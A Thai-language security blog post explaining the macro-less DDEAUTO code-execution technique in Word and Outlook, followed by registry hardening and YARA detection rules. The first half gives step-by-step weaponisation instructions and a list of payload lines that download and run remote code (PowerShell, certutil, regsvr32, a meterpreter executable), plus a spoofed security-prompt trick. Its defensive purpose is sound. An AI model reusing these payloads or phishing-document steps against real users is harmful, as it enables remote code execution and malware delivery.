โดยปกติแล้ว การโจมตีเครื่อง Client หรือเครื่องเหยื่อใดๆผ่านการเปิดไฟล์ Microsoft Office ใดๆอย่าง Word, Excel มักจะเป็นการโจมตีโดยการฝัง script ผ่าน feature Macro เข้ามา ซึ่ง script ดังกล่าวมักจะเป็น VBScript โดยภายใน VBScript นั้นจะไปเรียก powershell หรือ payload อื่นใดข้างนอกอีกที แต่มาคราวนี้ในช่วง 2-3 อาทิตย์ที่ผ่านมา มีวิธีการโจมตีใหม่ที่เกิดขึ้นมา ชื่อว่า DDEAUTO Attack
TL;DR: เป็นวิธีการโจมตีแบบใหม่ใน Microsoft Office ที่ไม่พึ่ง Macro มี Malware หลายตัวเริ่มใช้งานแบบนี้แล้ว
1 |
Windows จัดหาวิธีหลายวิธีในการรับส่งข้อมูลระหว่าง application, 1 ในนั้นคือ Dynamic Data Exchange(DDE) Protocol โดย DDE Protocol เป็นชุดข้อความและ guideline ตัว DDE เองทำให้สามารถส่งข้อความระหว่าง application ที่มีการแชร์ข้อมูลและ memory เพื่อแลกเปลี่ยนข้อมูลระหว่าง Application ได้ Application สามารถใช้งาน DDE Protocol เพื่อเป็นการรับส่งข้อมูลเพียงครั้งเดียวและจะทำแบบต่อเนื่องเมื่อ application มีการส่ง update ไปยัง application อื่นให้กลายเป็นข้อมูลเข้ามาใหม่ก็ทำได้เช่นกัน |
นั่นคือนิยามการใช้งาน Dynamic Data Exchange (DDE) ซึ่งในที่นี้หมายความเราสามารถนำ DDE มาใช้ในการเรียกอีก application อื่นได้ด้วยนั่นเอง DDE เป็น Inter-Process Communication (IPC) mechanism ที่เก่าแก่ตั้งแต่ปี 1987, ซึ่งทำให้หากเรามีการ link document จาก windows program อื่น เมื่อมีการถูกเรียกขึ้นมา ตัว document นั้นจะไปเรียก information update จาก windows program ดังกล่าว ทางผู้ที่ค้นพบอย่าง SensePost กล่าวว่าเค้าค้นพบช่องทางการจะเรียก application อื่นนี้ผ่าน Excel ซึ่งต่อมาก็มีการหาความเป็นไปได้ใน Microsoft Word ต่ออีกที
DDEAUTO Attack in Word
โดยวิธีการทำนั้น ทำดังนี้
1. เปิด Microsoft Word ขึ้นมา
2. กด Ctrl + F9 (หรือ Insert tab -> Quick Parts -> Field, Choose = (Formula) แล้ว click ok. จากนั้น click ขวาที่ Field, แล้วเลือก Toggle Field Codes) จากนั้นจึงใส่คำสั่งเป็น
1 |
DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe" |
3. save ไฟล์
4. เมื่อเปิดไฟล์ขึ้นมา ตัวไฟล์จะมีการถามว่าจะทำการ update content หรือไม่ และจากนั้นจะถามว่ามีการรันคำสั่งภายนอกจะอนุญาตหรือไม่ หาก user ทำการตอบตกลงทั้ง 2 ครั้งตัว payload ก็จะทำงาน
DDEAUTO Attack in Outlook
เราสามารถโจมตีวิธีนี้ได้ใน Outlook 2013/2016 เช่นกัน โดยเริ่มจากสร้าง Document ที่มี DDEAUTO ไว้ก่อน จากนั้นให้ทำการเปิด Outlook ขึ้นมา แล้วไปที่ Format -> แล้วเปลี่ยนลักษณะของ message เป็นแบบ Rich Text
จากนั้นใส่ภาพอะไรก็ได้เข้าไป 1 ภาพ พอเสร็จแล้วให้ copy DDEAUTO จาก Document ที่กด Ctrl+F9 ไว้มาแปะไว้ใน Message body ของ Outlook เมื่อมี message ถามให้ตอบ ‘No’ จากนั้นส่งไปยังผู้รับ
เมื่อผู้รับได้รับแล้วทำการตอบ Reply มา ตัว Outlook จะขึ้น Dialog แบบเดียวกับที่ขึ้นใน Word เวลาเราทำการเปิดไฟล์แล้ว trigger DDEAUTO หาก user ตอบ yes 2 ครั้ง payload ของเราก็จะทำงานทันที
ซึ่งวิธีนี้เราสามารถใช้ DDEAUTO ใน Calendar invites ได้ด้วยเช่นกัน
ตัว payload ที่นิยมใช้
1 2 3 4 5 6 7 8 9 10 11 12 |
DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source "http://willgenovese.com/hax/index.js"; -Destination "index.js" & start c:\\Windows\System32\cmd.exe /c cscript.exe index.js" DDEAUTO c:\\windows\\system32\\cmd.exe "/k regsvr32 /s /n /u /i:http://willgenovese.com/hax/calc.sct scrobj.dll " DDEAUTO c:\\windows\\system32\\cmd.exe "/k certutil -urlcache -split -f http://willgenovese.com/hax/test.exe && test.exe" DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1');powershell -e $e " DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powerShell.exe (New-Object System.Net.WebClient).DownloadFile('<a href="http://10.211.55.3:<YOUR">http://</a><KALI IP>:<WEB PORT>/meter.exe','meter.exe');(New-Object -com Shell.Application).ShellExecute('meter.exe')"; ### แก้ไขตัว Alert ให้เป็นที่ต้องการ ในที่นี้จะขึ้นเป็น Microsoft Document Security Add-On DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://willgenovese.com/hax/evil.ps1'); # " "Microsoft Document Security Add-On" |
วิธีป้องกัน
ทาง SensesPost ได้ทำการติดต่อไปยัง Microsoft เพื่อแจ้งช่องโหว่ดังกล่าว แต่สิ่งที่เกิดขึ้นคือ Microsoft แจ้งว่า ‘มันไม่ใช่ Bug แต่มันเป็น Feature’ (=_=”) ทำให้นั่นหมายความว่าจะไม่มีการ patch จาก Microsoft แต่อย่างใดครับ แต่ Antivirus ของ Microsoft เองอย่าง Windows Defender กลับมองว่าไฟล์ที่มี DDEAUTO อยู่นั้นเป็น Malicious Document นะครับ ย้อนแย้งดีจริงๆ ส่วน Antivirus อื่นๆก็เริ่ม Detect document ใดๆที่มีการแทรก DDEAUTO ว่าเป็นการโจมตีแล้วเช่นกัน อย่าง Kaspersky เป็นต้นครับ อีกทั้งเราสามารถป้องกันได้ด้วยการ disable DDEAUTO ไปเลย ตาม script การเข้าไปแก้ไข registry ด้านล่างครับ
สรุปวิธีการป้องกัน
- เวลามีอะไร popup ขึ้นมาให้อ่านก่อน และหากไม่รู้เรื่องให้ตอบ ‘NO’ ไปก่อน
- Update Antivirus ให้ใหม่ที่สุด
- ปิดการ auto update link (Options > Advanced, แล้วเอา checkmark ที่ “Update automatic links at open” ออก)
- ทำการแก้ไข registry ต่างๆ
ถ้าเอาง่ายๆก็ registry file นี้เลยครับ(นำ content ไป save เป็นไฟล์นามสกุล .reg ครับ) ถ้าเอาละเอียดดูต่อจาก script ได้เลยครับ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
Windows Registry Editor Version 5.00 [HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options] "DontUpdateLinks"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options] "DontUpdateLinks"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options] "DontUpdateLinks"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options\WordMail] "DontUpdateLinks"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options\WordMail] "DontUpdateLinks"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options\WordMail] "DontUpdateLinks"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\OneNote\Options] "DisableEmbeddedFiles"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\OneNote\Options] "DisableEmbeddedFiles"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options] "DontUpdateLinks"=dword:00000001 "DDEAllowed"=dword:00000000 "DDECleaned"=dword:00000001 [HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options] "DontUpdateLinks"=dword:00000001 "DDEAllowed"=dword:00000000 "DDECleaned"=dword:00000001 "Options"=dword:00000117 [HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options] "DontUpdateLinks"=dword:00000001 "DDEAllowed"=dword:00000000 "DDECleaned"=dword:00000001 "Options"=dword:00000117 |
รายละเอียด registry key แต่ละตัว
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
Word 2016 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options Value: DontUpdateLinks Dword: 00000001 HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Options\WordMail Value: DontUpdateLinks Dword: 00000001 Word 2013 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options Value: DontUpdateLinks Dword: 00000001 HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options\WordMail Value: DontUpdateLinks Dword: 00000001 Word 2010 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options Value: DontUpdateLinks Dword: 00000001 HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Word\Options\WordMail Value: DontUpdateLinks Dword: 00000001 Excel 2016 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options Value: DontUpdateLinks Dword: 00000001 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options Value: DDEAllowed Dword: 00000000 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Options Value: DDECleaned Dword: 00000001 Excel 2013 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options Value: DontUpdateLinks Dword: 00000001 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options Value: DDEAllowed Dword: 00000000 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options Value: DDECleaned Dword: 00000001 Note: The below value reportedly does not work. I don't have access to Excel 2013 or 2010, and could not find any information on the value. Path: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Excel\Options Value: Options Dword: 00000117 Excel 2010 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options Value: DontUpdateLinks Dword: 00000001 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options Value: DDEAllowed Dword: 00000000 Path: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options Value: DDECleaned Dword: 00000001 Note: The below value reportedly does not work. I don't have access to Excel 2013 or 2010, and could not find any information on the value. Path: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options Value: Options Dword: 00000117 |
ตรวจจับด้วย Yara Rules
หากใครใช้ Next Generation Firewall แล้วต้องการตรวจจับ Document ที่มี DDEAUTO สามารถเอา Yara Rule ของ Nviso ไปใช้ได้เลยครับ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
// YARA rules Office DDE // NVISO 2017/10/10 - 2017/10/12 // https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ rule Office_DDEAUTO_field { strings: $a = /.+?\b[Dd][Dd][Ee][Aa][Uu][Tt][Oo]\b.+?/ condition: $a } rule Office_DDE_field { strings: $a = /.+?\b[Dd][Dd][Ee]\b.+?/ condition: $a } rule Office_OLE_DDEAUTO { strings: $a = /\x13\s*DDEAUTO\b[^\x14]+/ nocase condition: uint32be(0) == 0xD0CF11E0 and $a } rule Office_OLE_DDE { strings: $a = /\x13\s*DDE\b[^\x14]+/ nocase condition: uint32be(0) == 0xD0CF11E0 and $a |
ตัวสร้างไฟล์ document ที่แทรก DDEAUTO เข้าไปครับ
https://github.com/xillwillx/CACTUSTORCH_DDEAUTO
ตัวอย่าง Malware ที่มีการใช้งาน DDEAUTO
http://contagiodump.blogspot.com/2017/10/dde-command-execution-malware-samples.html
Source::